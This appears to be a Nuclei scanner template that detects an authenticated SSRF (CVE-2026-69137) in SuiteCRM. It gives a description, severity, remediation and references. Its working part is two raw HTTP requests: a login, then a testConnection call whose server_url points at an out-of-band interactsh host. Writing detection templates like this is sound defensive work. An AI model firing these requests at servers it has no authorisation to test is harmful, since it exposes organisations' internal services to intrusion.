SuiteCRM <= 7.15.1, <= 8.10.1 - Authenticated SSRF

id: CVE-2026-69137

info:
  name: SuiteCRM <= 7.15.1, <= 8.10.1 - Authenticated SSRF
  author: EntroVyx
  severity: high
  description: |
    SuiteCRM CalendarAccount testConnection accepts an attacker-controlled server_url and passes it to cURL without destination validation. An authenticated user can cause a server-side request to loopback or internal network services.
  impact: |
    An authenticated attacker can access internal HTTP services from the SuiteCRM server's network context and may obtain response data through error messages.
  remediation: |
    Upgrade to SuiteCRM 7.15.2, 8.10.2, or a later release.
  reference:
    - https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-72r3-24x4-j46c
    - https://nvd.nist.gov/vuln/detail/CVE-2026-69137
  classification:
    cve-id: CVE-2026-69137
    cwe-id: CWE-918
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
  metadata:
    verified: true
    max-request: 2
    vendor: suitecrm
    product: suitecrm
    shodan-query: http.title:"SuiteCRM"
  tags: cve,cve2026,suitecrm,ssrf,authenticated,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        module=Users&action=Authenticate&user_name={{username}}&username_password={{url_encode(password)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "PHPSESSID=")'
        condition: and
        internal: true

  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        module=CalendarAccount&action=testConnection&source=caldav_basic&username=nuclei&password=nuclei&server_url=http%3A%2F%2F{{interactsh-url}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, http)'
        condition: and
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